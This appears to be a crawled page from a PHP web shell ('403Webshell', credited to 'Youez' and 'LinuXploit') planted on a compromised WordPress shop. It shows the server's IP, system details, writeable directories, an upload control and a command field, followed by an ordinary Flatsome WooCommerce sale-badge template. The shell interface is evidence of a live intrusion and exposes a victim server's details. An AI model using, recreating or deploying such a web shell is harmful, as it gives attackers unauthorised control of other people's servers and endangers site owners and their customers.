403Webshell
Server IP : 62.72.47.131  /  Your IP : 216.73.217.34
Web Server : Apache/2.4.66 (Debian)
System : Linux 975cdb959a49 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User :  ( 501)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/flatsome/woocommerce/single-product/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/flatsome/woocommerce/single-product/sale-flash.php
<?php
/**
 * Product loop sale flash
 *
 * @author           WooThemes
 * @package          WooCommerce/Templates
 * @version          1.6.4
 * @flatsome-version 3.16.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

global $post, $product;

$badge_style = get_theme_mod( 'bubble_style', 'style1' );

// Fix deprecated.
if($badge_style == 'style1') $badge_style = 'circle';
if($badge_style == 'style2') $badge_style = 'square';
if($badge_style == 'style3') $badge_style = 'frame';

?>
<div class="badge-container is-larger absolute left top z-1">
<?php if ( get_theme_mod( 'sale_bubble', 1 ) && $product->is_on_sale() ) :
	$custom_text = get_theme_mod( 'sale_bubble_text' );
	$text        = $custom_text ? $custom_text : __( 'Sale!', 'woocommerce' );

	if ( get_theme_mod( 'sale_bubble_percentage' ) ) {
		$text = flatsome_presentage_bubble( $product, $text );
	}
	echo apply_filters( 'woocommerce_sale_flash', '<div class="callout badge badge-'.$badge_style.'"><div class="badge-inner secondary on-sale"><span class="onsale">' .  $text . '</span></div></div>', $post, $product ); ?>
<?php endif; ?>

<?php echo apply_filters( 'flatsome_product_labels', '', $post, $product, $badge_style); ?>
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit